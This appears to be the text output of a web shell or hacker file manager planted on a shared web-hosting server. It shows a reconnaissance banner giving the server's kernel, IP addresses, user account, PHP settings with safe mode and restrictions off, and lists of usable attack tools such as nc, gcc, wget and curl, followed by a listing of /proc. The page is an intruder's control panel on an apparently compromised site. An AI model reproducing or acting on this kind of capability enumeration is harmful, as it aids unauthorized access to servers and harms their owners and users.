Linux premium13.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
 LiteSpeed
 198.54.126.34 | Your IP: 216.73.216.119
 Cant read [ /etc/named.conf ]
 [ dr-xr-xr-x ]
/ proc /


Operating System : Linux premium13.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User / Group : 1560[aurizply] / 1543[aurizply]
PHP Version : 7.4.33
IP Server : 198.54.126.34
Your IP : 216.73.216.119
Storage : Total = 0 B, Free = 0 B [0%]
Domains : Cant read [ /etc/named.conf ]
Software : LiteSpeed
Disable Functions : All function is accessible
Useful Functions : gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader : wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON | SSH2 : OFF | Magic Quotes : ON | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF
Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root dr-xr-xr-x 2025-05-21 09:18:11
.. dir - root/root drwxr-xr-x 2025-08-02 06:44:31
1494718 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
1496225 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2518731 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:27
2570122 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2629036 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2641240 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2657515 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2666830 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2666894 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2667449 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2667598 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2668722 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2669046 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2671161 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:35
2680843 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:47
2681456 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:50
2681979 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:53
2682089 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:54
2682338 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:56
2682811 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:23:58
2683252 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:02
2683257 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:02
2683317 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:03
2683323 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:03
2683325 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:03
2683351 dir - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:03
acpi dir - root/root dr-xr-xr-x 2025-05-21 01:18:14
bus dir - root/root dr-xr-xr-x 2025-05-21 01:18:23
driver dir - root/root dr-xr-xr-x 2026-04-10 05:24:06
fs dir - root/root dr-xr-xr-x 2025-05-21 01:18:23
irq dir - root/root dr-xr-xr-x 2025-05-21 01:18:23
kcare dir - root/root dr-xr-xr-x 2026-04-10 05:24:06
lve dir - root/root dr-xr-xr-x 2026-04-10 05:23:38
net link - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:06
scsi dir - root/root dr-xr-xr-x 2025-05-21 01:18:23
self link - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:03
sys dir - root/root dr-xr-xr-x 2025-05-21 09:18:12
sysvipc dir - root/root dr-xr-xr-x 2026-04-10 05:24:06
thread-self link - aurizply/aurizply dr-xr-xr-x 2026-04-10 05:24:03
tty dir - root/root dr-xr-xr-x 2026-04-10 05:24:06
buddyinfo 0 B root/root -r--r--r-- 2026-04-10 05:24:06
cgroups 0 B root/root -r--r--r-- 2026-04-10 05:24:06
cmdline text/plain 0 B root/root -r--r--r-- 2026-04-10 05:23:40
consoles 0 B root/root -r--r--r-- 2026-04-10 05:24:06
cpuinfo text/plain 0 B root/root -r--r--r-- 2026-04-10 05:23:38
crypto 0 B root/root -r--r--r-- 2026-04-10 05:24:06
devices 0 B root/root -r--r--r-- 2026-04-10 05:24:06
diskstats 0 B root/root -r--r--r-- 2026-04-10 05:23:43
dma 0 B root/root -r--r--r-- 2026-04-10 05:24:06
execdomains 0 B root/root -r--r--r-- 2026-04-10 05:24:06
fb 0 B root/root -r--r--r-- 2026-04-10 05:24:06
filesystems text/plain 0 B root/root -r--r--r-- 2026-04-10 05:23:35
interrupts 0 B root/root -r--r--r-- 2026-04-10 05:24:06
iomem 0 B root/root -r--r--r-- 2026-04-10 05:24:06
ioports 0 B root/root -r--r--r-- 2026-04-10 05:24:06
kallsyms 0 B root/root -r--r--r-- 2025-05-21 01:18:23
kcore 128 TB root/root -r-------- 2025-05-21 01:18:14
key-users 0 B root/root -r--r--r-- 2026-04-10 05:24:06
keys 0 B root/root -r--r--r-- 2026-04-10 05:24:06
kmsg 0 B root/root -r-------- 2026-04-10 05:24:06
kpagecgroup 0 B root/root -r-------- 2026-04-10 05:24:06
kpagecount 0 B root/root -r-------- 2026-04-10 05:24:06
kpageflags 0 B root/root -r-------- 2026-04-10 05:24:06
loadavg text/plain 0 B root/root -r--r--r-- 2026-04-10 05:23:43
locks 0 B root/root -r--r--r-- 2026-04-10 05:24:06
mdstat 0 B root/root -r--r--r-- 2026-04-10 05:24:06
meminfo text/plain 0 B root/root -r--r--r-- 2026-04-10 05:23:43
misc 0 B root/root -r--r--r-- 2026-04-10 05:24:06
modules 0 B root/root -r--r--r-- 2026-04-10 05:24:06
mounts text/plain 0 B aurizply/aurizply -r--r--r-- 2026-04-10 05:24:06
mtrr 0 B root/root -rw-r--r-- 2025-05-21 01:18:23
pagetypeinfo 0 B root/root -r-------- 2026-04-10 05:24:06
partitions 0 B root/root -r--r--r-- 2026-04-10 05:24:06
sched_debug 0 B root/root -r--r--r-- 2026-04-10 05:24:06
schedstat 0 B root/root -r--r--r-- 2026-04-10 05:24:06
slabinfo 0 B root/root -r-------- 2026-04-10 05:24:06
softirqs 0 B root/root -r--r--r-- 2026-04-10 05:24:06
stat text/plain 0 B root/root -r--r--r-- 2026-04-10 05:23:41
swaps 0 B root/root -r--r--r-- 2025-05-21 09:18:12
sysrq-trigger 0 B root/root --w------- 2025-05-21 01:18:23
timer_list 0 B root/root -r-------- 2026-04-10 05:24:06
uptime text/plain 0 B root/root -r--r--r-- 2026-04-10 05:23:43
version text/plain 0 B root/root -r--r--r-- 2026-04-10 05:24:06
vmallocinfo 0 B root/root -r-------- 2026-04-10 05:24:06
vmstat 0 B root/root -r--r--r-- 2026-04-10 05:23:50
zoneinfo 0 B root/root -r--r--r-- 2026-04-10 05:24:06
© SEC